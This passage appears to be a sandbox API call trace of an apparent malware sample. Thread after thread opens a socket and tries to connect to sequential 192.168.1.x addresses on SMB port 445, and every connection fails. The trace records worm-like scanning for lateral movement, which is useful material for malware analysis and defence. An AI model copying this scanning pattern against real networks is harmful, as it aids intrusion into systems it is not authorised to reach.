wVersionRequired=0x202, lpWSAData=0xb09fdf0 | out: lpWSAData=0xb09fdf0) returned 0 [0101.348] socket (af=2, type=1, protocol=0) returned 0xdfc [0101.349] inet_addr (cp="192.168.1.5") returned 0x501a8c0 [0101.349] htons (hostshort=0x1bd) returned 0xbd01 [0101.349] connect (s=0xdfc, name=0xb09fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.5"), namelen=16) returned -1 [0122.416] closesocket (s=0xdfc) returned 0 [0122.417] WSACleanup () returned 0 [0122.417] GetCurrentThreadId () returned 0x124c [0122.417] GetCurrentThreadId () returned 0x124c [0122.417] GetCurrentThreadId () returned 0x124c Thread: id = 621 os_tid = 0x1260 [0101.500] GetCurrentThreadId () returned 0x1260 [0101.500] GetCurrentThreadId () returned 0x1260 [0101.500] GetCurrentThreadId () returned 0x1260 [0101.501] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb1dfdf0 | out: lpWSAData=0xb1dfdf0) returned 0 [0101.501] socket (af=2, type=1, protocol=0) returned 0xe8c [0101.501] inet_addr (cp="192.168.1.6") returned 0x601a8c0 [0101.501] htons (hostshort=0x1bd) returned 0xbd01 [0101.501] connect (s=0xe8c, name=0xb1dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.6"), namelen=16) returned -1 [0122.699] closesocket (s=0xe8c) returned 0 [0122.699] WSACleanup () returned 0 [0122.699] GetCurrentThreadId () returned 0x1260 [0122.699] GetCurrentThreadId () returned 0x1260 [0122.700] GetCurrentThreadId () returned 0x1260 Thread: id = 622 os_tid = 0x1264 [0101.848] GetCurrentThreadId () returned 0x1264 [0101.848] GetCurrentThreadId () returned 0x1264 [0101.848] GetCurrentThreadId () returned 0x1264 [0101.848] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb31fdf0 | out: lpWSAData=0xb31fdf0) returned 0 [0101.848] socket (af=2, type=1, protocol=0) returned 0xefc [0101.849] inet_addr (cp="192.168.1.7") returned 0x701a8c0 [0101.849] htons (hostshort=0x1bd) returned 0xbd01 [0101.849] connect (s=0xefc, name=0xb31fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.7"), namelen=16) returned -1 [0122.902] closesocket (s=0xefc) returned 0 [0122.902] WSACleanup () returned 0 [0122.902] GetCurrentThreadId () returned 0x1264 [0122.902] GetCurrentThreadId () returned 0x1264 [0122.902] GetCurrentThreadId () returned 0x1264 Thread: id = 625 os_tid = 0x1274 [0102.171] GetCurrentThreadId () returned 0x1274 [0102.171] GetCurrentThreadId () returned 0x1274 [0102.171] GetCurrentThreadId () returned 0x1274 [0102.171] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb45fdf0 | out: lpWSAData=0xb45fdf0) returned 0 [0102.171] socket (af=2, type=1, protocol=0) returned 0xf88 [0102.171] inet_addr (cp="192.168.1.8") returned 0x801a8c0 [0102.171] htons (hostshort=0x1bd) returned 0xbd01 [0102.171] connect (s=0xf88, name=0xb45fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.8"), namelen=16) returned -1 [0123.308] closesocket (s=0xf88) returned 0 [0123.308] WSACleanup () returned 0 [0123.308] GetCurrentThreadId () returned 0x1274 [0123.308] GetCurrentThreadId () returned 0x1274 [0123.308] GetCurrentThreadId () returned 0x1274 Thread: id = 626 os_tid = 0x1278 [0102.278] GetCurrentThreadId () returned 0x1278 [0102.278] GetCurrentThreadId () returned 0x1278 [0102.279] GetCurrentThreadId () returned 0x1278 [0102.279] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb59fdf0 | out: lpWSAData=0xb59fdf0) returned 0 [0102.279] socket (af=2, type=1, protocol=0) returned 0xfb8 [0102.279] inet_addr (cp="192.168.1.9") returned 0x901a8c0 [0102.279] htons (hostshort=0x1bd) returned 0xbd01 [0102.279] connect (s=0xfb8, name=0xb59fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.9"), namelen=16) returned -1 [0123.412] closesocket (s=0xfb8) returned 0 [0123.413] WSACleanup () returned 0 [0123.413] GetCurrentThreadId () returned 0x1278 [0123.413] GetCurrentThreadId () returned 0x1278 [0123.413] GetCurrentThreadId () returned 0x1278 Thread: id = 627 os_tid = 0x1284 [0102.349] GetCurrentThreadId () returned 0x1284 [0102.349] GetCurrentThreadId () returned 0x1284 [0102.349] GetCurrentThreadId () returned 0x1284 [0102.349] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb6dfdf0 | out: lpWSAData=0xb6dfdf0) returned 0 [0102.349] socket (af=2, type=1, protocol=0) returned 0xf90 [0102.349] inet_addr (cp="192.168.1.10") returned 0xa01a8c0 [0102.349] htons (hostshort=0x1bd) returned 0xbd01 [0102.349] connect (s=0xf90, name=0xb6dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.10"), namelen=16) returned -1 [0123.413] closesocket (s=0xf90) returned 0 [0123.414] WSACleanup () returned 0 [0123.414] GetCurrentThreadId () returned 0x1284 [0123.414] GetCurrentThreadId () returned 0x1284 [0123.414] GetCurrentThreadId () returned 0x1284 Thread: id = 628 os_tid = 0x1290 [0102.464] GetCurrentThreadId () returned 0x1290 [0102.464] GetCurrentThreadId () returned 0x1290 [0102.464] GetCurrentThreadId () returned 0x1290 [0102.464] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb81fdf0 | out: lpWSAData=0xb81fdf0) returned 0 [0102.464] socket (af=2, type=1, protocol=0) returned 0xfc4 [0102.464] inet_addr (cp="192.168.1.11") returned 0xb01a8c0 [0102.464] htons (hostshort=0x1bd) returned 0xbd01 [0102.464] connect (s=0xfc4, name=0xb81fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.11"), namelen=16) returned -1 [0123.495] closesocket (s=0xfc4) returned 0 [0123.495] WSACleanup () returned 0 [0123.495] GetCurrentThreadId () returned 0x1290 [0123.495] GetCurrentThreadId () returned 0x1290 [0123.495] GetCurrentThreadId () returned 0x1290 Thread: id = 629 os_tid = 0x1294 [0102.608] GetCurrentThreadId () returned 0x1294 [0102.608] GetCurrentThreadId () returned 0x1294 [0102.608] GetCurrentThreadId () returned 0x1294 [0102.608] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb95fdf0 | out: lpWSAData=0xb95fdf0) returned 0 [0102.609] socket (af=2, type=1, protocol=0) returned 0xf98 [0102.609] inet_addr (cp="192.168.1.12") returned 0xc01a8c0 [0102.609] htons (hostshort=0x1bd) returned 0xbd01 [0102.609] connect (s=0xf98, name=0xb95fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.12"), namelen=16) returned -1 [0123.807] closesocket (s=0xf98) returned 0 [0123.807] WSACleanup () returned 0 [0123.807] GetCurrentThreadId () returned 0x1294 [0123.807] GetCurrentThreadId () returned 0x1294 [0123.807] GetCurrentThreadId () returned 0x1294 Thread: id = 630 os_tid = 0x129c [0102.701] GetCurrentThreadId () returned 0x129c [0102.701] GetCurrentThreadId () returned 0x129c [0102.701] GetCurrentThreadId () returned 0x129c [0102.701] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xba9fdf0 | out: lpWSAData=0xba9fdf0) returned 0 [0102.701] socket (af=2, type=1, protocol=0) returned 0x1028 [0102.701] inet_addr (cp="192.168.1.13") returned 0xd01a8c0 [0102.701] htons (hostshort=0x1bd) returned 0xbd01 [0102.701] connect (s=0x1028, name=0xba9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.13"), namelen=16) returned -1 [0123.808] closesocket (s=0x1028) returned 0 [0123.808] WSACleanup () returned 0 [0123.808] GetCurrentThreadId () returned 0x129c [0123.808] GetCurrentThreadId () returned 0x129c [0123.808] GetCurrentThreadId () returned 0x129c Thread: id = 632 os_tid = 0x12ac [0103.435] GetCurrentThreadId () returned 0x12ac [0103.435] GetCurrentThreadId () returned 0x12ac [0103.435] GetCurrentThreadId () returned 0x12ac [0103.435] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbbdfdf0 | out: lpWSAData=0xbbdfdf0) returned 0 [0103.435] socket (af=2, type=1, protocol=0) returned 0xf74 [0103.436] inet_addr (cp="192.168.1.14") returned 0xe01a8c0 [0103.436] htons (hostshort=0x1bd) returned 0xbd01 [0103.436] connect (s=0xf74, name=0xbbdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.14"), namelen=16) returned -1 [0124.509] closesocket (s=0xf74) returned 0 [0124.509] WSACleanup () returned 0 [0124.509] GetCurrentThreadId () returned 0x12ac [0124.509] GetCurrentThreadId () returned 0x12ac [0124.509] GetCurrentThreadId () returned 0x12ac Thread: id = 633 os_tid = 0x12b0 [0103.559] GetCurrentThreadId () returned 0x12b0 [0103.559] GetCurrentThreadId () returned 0x12b0 [0103.559] GetCurrentThreadId () returned 0x12b0 [0103.559] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbd1fdf0 | out: lpWSAData=0xbd1fdf0) returned 0 [0103.559] socket (af=2, type=1, protocol=0) returned 0x117c [0103.560] inet_addr (cp="192.168.1.15") returned 0xf01a8c0 [0103.560] htons (hostshort=0x1bd) returned 0xbd01 [0103.560] connect (s=0x117c, name=0xbd1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.15"), namelen=16) returned -1 [0124.602] closesocket (s=0x117c) returned 0 [0124.603] WSACleanup () returned 0 [0124.603] GetCurrentThreadId () returned 0x12b0 [0124.603] GetCurrentThreadId () returned 0x12b0 [0124.603] GetCurrentThreadId () returned 0x12b0 Thread: id = 634 os_tid = 0x12b4 [0103.944] GetCurrentThreadId () returned 0x12b4 [0103.945] GetCurrentThreadId () returned 0x12b4 [0103.945] GetCurrentThreadId () returned 0x12b4 [0103.945] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbeffdf0 | out: lpWSAData=0xbeffdf0) returned 0 [0103.945] socket (af=2, type=1, protocol=0) returned 0x118c [0103.974] inet_addr (cp="192.168.1.16") returned 0x1001a8c0 [0103.974] htons (hostshort=0x1bd) returned 0xbd01 [0103.974] connect (s=0x118c, name=0xbeffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.16"), namelen=16) returned -1 [0125.195] closesocket (s=0x118c) returned 0 [0125.196] WSACleanup () returned 0 [0125.196] GetCurrentThreadId () returned 0x12b4 [0125.196] GetCurrentThreadId () returned 0x12b4 [0125.196] GetCurrentThreadId () returned 0x12b4 Thread: id = 635 os_tid = 0x12b8 [0104.057] GetCurrentThreadId () returned 0x12b8 [0104.057] GetCurrentThreadId () returned 0x12b8 [0104.057] GetCurrentThreadId () returned 0x12b8 [0104.057] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbfffdf0 | out: lpWSAData=0xbfffdf0) returned 0 [0104.057] socket (af=2, type=1, protocol=0) returned 0x121c [0104.057] inet_addr (cp="192.168.1.17") returned 0x1101a8c0 [0104.057] htons (hostshort=0x1bd) returned 0xbd01 [0104.058] connect (s=0x121c, name=0xbfffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.17"), namelen=16) returned -1 [0125.196] closesocket (s=0x121c) returned 0 [0125.197] WSACleanup () returned 0 [0125.197] GetCurrentThreadId () returned 0x12b8 [0125.197] GetCurrentThreadId () returned 0x12b8 [0125.197] GetCurrentThreadId () returned 0x12b8 Thread: id = 636 os_tid = 0x12bc [0104.168] GetCurrentThreadId () returned 0x12bc [0104.169] GetCurrentThreadId () returned 0x12bc [0104.169] GetCurrentThreadId () returned 0x12bc [0104.169] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc0ffdf0 | out: lpWSAData=0xc0ffdf0) returned 0 [0104.169] socket (af=2, type=1, protocol=0) returned 0x123c [0104.169] inet_addr (cp="192.168.1.18") returned 0x1201a8c0 [0104.169] htons (hostshort=0x1bd) returned 0xbd01 [0104.169] connect (s=0x123c, name=0xc0ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.18"), namelen=16) returned -1 [0125.197] closesocket (s=0x123c) returned 0 [0125.197] WSACleanup () returned 0 [0125.197] GetCurrentThreadId () returned 0x12bc [0125.197] GetCurrentThreadId () returned 0x12bc [0125.198] GetCurrentThreadId () returned 0x12bc Thread: id = 637 os_tid = 0x12c0 [0104.312] GetCurrentThreadId () returned 0x12c0 [0104.314] GetCurrentThreadId () returned 0x12c0 [0104.314] GetCurrentThreadId () returned 0x12c0 [0104.314] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc23fdf0 | out: lpWSAData=0xc23fdf0) returned 0 [0104.314] socket (af=2, type=1, protocol=0) returned 0x125c [0104.314] inet_addr (cp="192.168.1.19") returned 0x1301a8c0 [0104.314] htons (hostshort=0x1bd) returned 0xbd01 [0104.314] connect (s=0x125c, name=0xc23fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.19"), namelen=16) returned -1 [0125.804] closesocket (s=0x125c) returned 0 [0125.804] WSACleanup () returned 0 [0125.804] GetCurrentThreadId () returned 0x12c0 [0125.804] GetCurrentThreadId () returned 0x12c0 [0125.804] GetCurrentThreadId () returned 0x12c0 Thread: id = 638 os_tid = 0x12c4 [0104.370] GetCurrentThreadId () returned 0x12c4 [0104.370] GetCurrentThreadId () returned 0x12c4 [0104.371] GetCurrentThreadId () returned 0x12c4 [0104.371] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc37fdf0 | out: lpWSAData=0xc37fdf0) returned 0 [0104.371] socket (af=2, type=1, protocol=0) returned 0x127c [0104.371] inet_addr (cp="192.168.1.20") returned 0x1401a8c0 [0104.371] htons (hostshort=0x1bd) returned 0xbd01 [0104.371] connect (s=0x127c, name=0xc37fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.20"), namelen=16) returned -1 [0125.805] closesocket (s=0x127c) returned 0 [0125.805] WSACleanup () returned 0 [0125.805] GetCurrentThreadId () returned 0x12c4 [0125.805] GetCurrentThreadId () returned 0x12c4 [0125.805] GetCurrentThreadId () returned 0x12c4 Thread: id = 639 os_tid = 0x12c8 [0104.681] GetCurrentThreadId () returned 0x12c8 [0104.681] GetCurrentThreadId () returned 0x12c8 [0104.681] GetCurrentThreadId () returned 0x12c8 [0104.681] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc4bfdf0 | out: lpWSAData=0xc4bfdf0) returned 0 [0104.682] socket (af=2, type=1, protocol=0) returned 0x12c8 [0104.682] inet_addr (cp="192.168.1.21") returned 0x1501a8c0 [0104.682] htons (hostshort=0x1bd) returned 0xbd01 [0104.682] connect (s=0x12c8, name=0xc4bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.21"), namelen=16) returned -1 [0125.806] closesocket (s=0x12c8) returned 0 [0125.806] WSACleanup () returned 0 [0125.806] GetCurrentThreadId () returned 0x12c8 [0125.806] GetCurrentThreadId () returned 0x12c8 [0125.806] GetCurrentThreadId () returned 0x12c8 Thread: id = 642 os_tid = 0x12d4 [0104.853] GetCurrentThreadId () returned 0x12d4 [0104.853] GetCurrentThreadId () returned 0x12d4 [0104.853] GetCurrentThreadId () returned 0x12d4 [0104.853] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc5ffdf0 | out: lpWSAData=0xc5ffdf0) returned 0 [0104.853] socket (af=2, type=1, protocol=0) returned 0x1308 [0104.853] inet_addr (cp="192.168.1.22") returned 0x1601a8c0 [0104.853] htons (hostshort=0x1bd) returned 0xbd01 [0104.853] connect (s=0x1308, name=0xc5ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.22"), namelen=16) returned -1 [0126.100] closesocket (s=0x1308) returned 0 [0126.100] WSACleanup () returned 0 [0126.100] GetCurrentThreadId () returned 0x12d4 [0126.100] GetCurrentThreadId () returned 0x12d4 [0126.100] GetCurrentThreadId () returned 0x12d4 Thread: id = 644 os_tid = 0x12dc [0104.970] GetCurrentThreadId () returned 0x12dc [0104.970] GetCurrentThreadId () returned 0x12dc [0104.970] GetCurrentThreadId () returned 0x12dc [0104.970] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc73fdf0 | out: lpWSAData=0xc73fdf0) returned 0 [0104.970] socket (af=2, type=1, protocol=0) returned 0x135c [0104.971] inet_addr (cp="192.168.1.23") returned 0x1701a8c0 [0104.971] htons (hostshort=0x1bd) returned 0xbd01 [0104.971] connect (s=0x135c, name=0xc73fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.23"), namelen=16) returned -1 [0126.101] closesocket (s=0x135c) returned 0 [0126.101] WSACleanup () returned 0 [0126.101] GetCurrentThreadId () returned 0x12dc [0126.101] GetCurrentThreadId () returned 0x12dc [0126.101] GetCurrentThreadId () returned 0x12dc Thread: id = 646 os_tid = 0x12e4 [0105.090] GetCurrentThreadId () returned 0x12e4 [0105.090] GetCurrentThreadId () returned 0x12e4 [0105.090] GetCurrentThreadId () returned 0x12e4 [0105.090] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc87fdf0 | out: lpWSAData=0xc87fdf0) returned 0 [0105.090] socket (af=2, type=1, protocol=0) returned 0x1338 [0105.090] inet_addr (cp="192.168.1.24") returned 0x1801a8c0 [0105.090] htons (hostshort=0x1bd) returned 0xbd01 [0105.090] connect (s=0x1338, name=0xc87fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.24"), namelen=16) returned -1 [0126.303] closesocket (s=0x1338) returned 0 [0126.303] WSACleanup () returned 0 [0126.303] GetCurrentThreadId () returned 0x12e4 [0126.303] GetCurrentThreadId () returned 0x12e4 [0126.303] GetCurrentThreadId () returned 0x12e4 Thread: id = 647 os_tid = 0x12e8 [0105.181] GetCurrentThreadId () returned 0x12e8 [0105.181] GetCurrentThreadId () returned 0x12e8 [0105.181] GetCurrentThreadId () returned 0x12e8 [0105.181] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc9bfdf0 | out: lpWSAData=0xc9bfdf0) returned 0 [0105.181] socket (af=2, type=1, protocol=0) returned 0x1330 [0105.181] inet_addr (cp="192.168.1.25") returned 0x1901a8c0 [0105.181] htons (hostshort=0x1bd) returned 0xbd01 [0105.181] connect (s=0x1330, name=0xc9bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.25"), namelen=16) returned -1 [0126.304] closesocket (s=0x1330) returned 0 [0126.304] WSACleanup () returned 0 [0126.304] GetCurrentThreadId () returned 0x12e8 [0126.304] GetCurrentThreadId () returned 0x12e8 [0126.304] GetCurrentThreadId () returned 0x12e8 Thread: id = 648 os_tid = 0x12ec [0105.277] GetCurrentThreadId () returned 0x12ec [0105.277] GetCurrentThreadId () returned 0x12ec [0105.277] GetCurrentThreadId () returned 0x12ec [0105.277] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcaffdf0 | out: lpWSAData=0xcaffdf0) returned 0 [0105.277] socket (af=2, type=1, protocol=0) returned 0x1370 [0105.277] inet_addr (cp="192.168.1.26") returned 0x1a01a8c0 [0105.277] htons (hostshort=0x1bd) returned 0xbd01 [0105.277] connect (s=0x1370, name=0xcaffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.26"), namelen=16) returned -1 [0126.405] closesocket (s=0x1370) returned 0 [0126.405] WSACleanup () returned 0 [0126.405] GetCurrentThreadId () returned 0x12ec [0126.405] GetCurrentThreadId () returned 0x12ec [0126.405] GetCurrentThreadId () returned 0x12ec Thread: id = 649 os_tid = 0x12f0 [0105.374] GetCurrentThreadId () returned 0x12f0 [0105.374] GetCurrentThreadId () returned 0x12f0 [0105.374] GetCurrentThreadId () returned 0x12f0 [0105.374] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcc3fdf0 | out: lpWSAData=0xcc3fdf0) returned 0 [0105.374] socket (af=2, type=1, protocol=0) returned 0x13dc [0105.374] inet_addr (cp="192.168.1.27") returned 0x1b01a8c0 [0105.374] htons (hostshort=0x1bd) returned 0xbd01 [0105.374] connect (s=0x13dc, name=0xcc3fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.27"), namelen=16) returned -1 [0126.406] closesocket (s=0x13dc) returned 0 [0126.406] WSACleanup () returned 0 [0126.406] GetCurrentThreadId () returned 0x12f0 [0126.406] GetCurrentThreadId () returned 0x12f0 [0126.406] GetCurrentThreadId () returned 0x12f0 Thread: id = 650 os_tid = 0x12f4 [0105.476] GetCurrentThreadId () returned 0x12f4 [0105.476] GetCurrentThreadId () returned 0x12f4 [0105.476] GetCurrentThreadId () returned 0x12f4 [0105.476] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcd7fdf0 | out: lpWSAData=0xcd7fdf0) returned 0 [0105.476] socket (af=2, type=1, protocol=0) returned 0x13fc [0105.477] inet_addr (cp="192.168.1.28") returned 0x1c01a8c0 [0105.477] htons (hostshort=0x1bd) returned 0xbd01 [0105.477] connect (s=0x13fc, name=0xcd7fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.28"), namelen=16) returned -1 [0126.599] closesocket (s=0x13fc) returned 0 [0126.600] WSACleanup () returned 0 [0126.600] GetCurrentThreadId () returned 0x12f4 [0126.600] GetCurrentThreadId () returned 0x12f4 [0126.600] GetCurrentThreadId () returned 0x12f4 Thread: id = 651 os_tid = 0x12f8 [0105.572] GetCurrentThreadId () returned 0x12f8 [0105.572] GetCurrentThreadId () returned 0x12f8 [0105.572] GetCurrentThreadId () returned 0x12f8 [0105.572] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcebfdf0 | out: lpWSAData=0xcebfdf0) returned 0 [0105.572] socket (af=2, type=1, protocol=0) returned 0x1420 [0105.572] inet_addr (cp="192.168.1.29") returned 0x1d01a8c0 [0105.572] htons (hostshort=0x1bd) returned 0xbd01 [0105.572] connect (s=0x1420, name=0xcebfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.29"), namelen=16) returned -1 [0126.600] closesocket (s=0x1420) returned 0 [0126.600] WSACleanup () returned 0 [0126.600] GetCurrentThreadId () returned 0x12f8 [0126.601] GetCurrentThreadId () returned 0x12f8 [0126.601] GetCurrentThreadId () returned 0x12f8 Thread: id = 652 os_tid = 0x12fc [0105.674] GetCurrentThreadId () returned 0x12fc [0105.674] GetCurrentThreadId () returned 0x12fc [0105.675] GetCurrentThreadId () returned 0x12fc [0105.675] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcfffdf0 | out: lpWSAData=0xcfffdf0) returned 0 [0105.675] socket (af=2, type=1, protocol=0) returned 0x1440 [0105.675] inet_addr (cp="192.168.1.30") returned 0x1e01a8c0 [0105.675] htons (hostshort=0x1bd) returned 0xbd01 [0105.675] connect (s=0x1440, name=0xcfffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.30"), namelen=16) returned -1 [0126.802] closesocket (s=0x1440) returned 0 [0126.802] WSACleanup () returned 0 [0126.802] GetCurrentThreadId () returned 0x12fc [0126.802] GetCurrentThreadId () returned 0x12fc [0126.802] GetCurrentThreadId () returned 0x12fc Thread: id = 653 os_tid = 0x1300 [0105.760] GetCurrentThreadId () returned 0x1300 [0105.760] GetCurrentThreadId () returned 0x1300 [0105.760] GetCurrentThreadId () returned 0x1300 [0105.760] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd13fdf0 | out: lpWSAData=0xd13fdf0) returned 0 [0105.760] socket (af=2, type=1, protocol=0) returned 0x1460 [0105.760] inet_addr (cp="192.168.1.31") returned 0x1f01a8c0 [0105.760] htons (hostshort=0x1bd) returned 0xbd01 [0105.760] connect (s=0x1460, name=0xd13fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.31"), namelen=16) returned -1 [0126.803] closesocket (s=0x1460) returned 0 [0126.803] WSACleanup () returned 0 [0126.803] GetCurrentThreadId () returned 0x1300 [0126.803] GetCurrentThreadId () returned 0x1300 [0126.803] GetCurrentThreadId () returned 0x1300 Thread: id = 654 os_tid = 0x1304 [0105.851] GetCurrentThreadId () returned 0x1304 [0105.851] GetCurrentThreadId () returned 0x1304 [0105.851] GetCurrentThreadId () returned 0x1304 [0105.851] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd27fdf0 | out: lpWSAData=0xd27fdf0) returned 0 [0105.851] socket (af=2, type=1, protocol=0) returned 0x1430 [0105.851] inet_addr (cp="192.168.1.32") returned 0x2001a8c0 [0105.851] htons (hostshort=0x1bd) returned 0xbd01 [0105.851] connect (s=0x1430, name=0xd27fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.32"), namelen=16) returned -1 [0127.005] closesocket (s=0x1430) returned 0 [0127.005] WSACleanup () returned 0 [0127.005] GetCurrentThreadId () returned 0x1304 [0127.005] GetCurrentThreadId () returned 0x1304 [0127.005] GetCurrentThreadId () returned 0x1304 Thread: id = 655 os_tid = 0x1308 [0105.945] GetCurrentThreadId () returned 0x1308 [0105.945] GetCurrentThreadId () returned 0x1308 [0105.945] GetCurrentThreadId () returned 0x1308 [0105.945] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd3bfdf0 | out: lpWSAData=0xd3bfdf0) returned 0 [0105.945] socket (af=2, type=1, protocol=0) returned 0x146c [0105.945] inet_addr (cp="192.168.1.33") returned 0x2101a8c0 [0105.945] htons (hostshort=0x1bd) returned 0xbd01 [0105.945] connect (s=0x146c, name=0xd3bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.33"), namelen=16) returned -1 [0127.006] closesocket (s=0x146c) returned 0 [0127.006] WSACleanup () returned 0 [0127.006] GetCurrentThreadId () returned 0x1308 [0127.006] GetCurrentThreadId () returned 0x1308 [0127.006] GetCurrentThreadId () returned 0x1308 Thread: id = 656 os_tid = 0x130c [0106.038] GetCurrentThreadId () returned 0x130c [0106.038] GetCurrentThreadId () returned 0x130c [0106.038] GetCurrentThreadId () returned 0x130c [0106.038] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd4ffdf0 | out: lpWSAData=0xd4ffdf0) returned 0 [0106.038] socket (af=2, type=1, protocol=0) returned 0x148c [0106.039] inet_addr (cp="192.168.1.34") returned 0x2201a8c0 [0106.039] htons (hostshort=0x1bd) returned 0xbd01 [0106.039] connect (s=0x148c, name=0xd4ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.34"), namelen=16) returned -1 [0127.098] closesocket (s=0x148c) returned 0 [0127.098] WSACleanup () returned 0 [0127.098] GetCurrentThreadId () returned 0x130c [0127.098] GetCurrentThreadId () returned 0x130c [0127.098] GetCurrentThreadId () returned 0x130c Thread: id = 657 os_tid = 0x1310 [0106.118] GetCurrentThreadId () returned 0x1310 [0106.118] GetCurrentThreadId () returned 0x1310 [0106.118] GetCurrentThreadId () returned 0x1310 [0106.118] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd63fdf0 | out: lpWSAData=0xd63fdf0) returned 0 [0106.118] socket (af=2, type=1, protocol=0) returned 0x14ac [0106.118] inet_addr (cp="192.168.1.35") returned 0x2301a8c0 [0106.118] htons (hostshort=0x1bd) returned 0xbd01 [0106.118] connect (s=0x14ac, name=0xd63fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.35"), namelen=16) returned -1 [0127.301] closesocket (s=0x14ac) returned 0 [0127.301] WSACleanup () returned 0 [0127.301] GetCurrentThreadId () returned 0x1310 [0127.301] GetCurrentThreadId () returned 0x1310 [0127.301] GetCurrentThreadId () returned 0x1310 Thread: id = 658 os_tid = 0x1314 [0106.210] GetCurrentThreadId () returned 0x1314 [0106.210] GetCurrentThreadId () returned 0x1314 [0106.210] GetCurrentThreadId () returned 0x1314 [0106.210] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd77fdf0 | out: lpWSAData=0xd77fdf0) returned 0 [0106.210] socket (af=2, type=1, protocol=0) returned 0x14cc [0106.210] inet_addr (cp="192.168.1.36") returned 0x2401a8c0 [0106.210] htons (hostshort=0x1bd) returned 0xbd01 [0106.210] connect (s=0x14cc, name=0xd77fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.36"), namelen=16) returned -1 [0127.302] closesocket (s=0x14cc) returned 0 [0127.302] WSACleanup () returned 0 [0127.302] GetCurrentThreadId () returned 0x1314 [0127.302] GetCurrentThreadId () returned 0x1314 [0127.302] GetCurrentThreadId () returned 0x1314 Thread: id = 659 os_tid = 0x1318 [0106.301] GetCurrentThreadId () returned 0x1318 [0106.301] GetCurrentThreadId () returned 0x1318 [0106.301] GetCurrentThreadId () returned 0x1318 [0106.301] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd8bfdf0 | out: lpWSAData=0xd8bfdf0) returned 0 [0106.301] socket (af=2, type=1, protocol=0) returned 0x14b4 [0106.301] inet_addr (cp="192.168.1.37") returned 0x2501a8c0 [0106.301] htons (hostshort=0x1bd) returned 0xbd01 [0106.301] connect (s=0x14b4, name=0xd8bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.37"), namelen=16) returned -1 [0127.504] closesocket (s=0x14b4) returned 0 [0127.505] WSACleanup () returned 0 [0127.505] GetCurrentThreadId () returned 0x1318 [0127.505] GetCurrentThreadId () returned 0x1318 [0127.505] GetCurrentThreadId () returned 0x1318 Thread: id = 660 os_tid = 0x131c [0106.381] GetCurrentThreadId () returned 0x131c [0106.381] GetCurrentThreadId () returned 0x131c [0106.381] GetCurrentThreadId () returned 0x131c [0106.381] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd9ffdf0 | out: lpWSAData=0xd9ffdf0) returned 0 [0106.381] socket (af=2, type=1, protocol=0) returned 0x1474 [0106.382] inet_addr (cp="192.168.1.38") returned 0x2601a8c0 [0106.382] htons (hostshort=0x1bd) returned 0xbd01 [0106.382] connect (s=0x1474, name=0xd9ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.38"), namelen=16) returned -1 [0127.505] 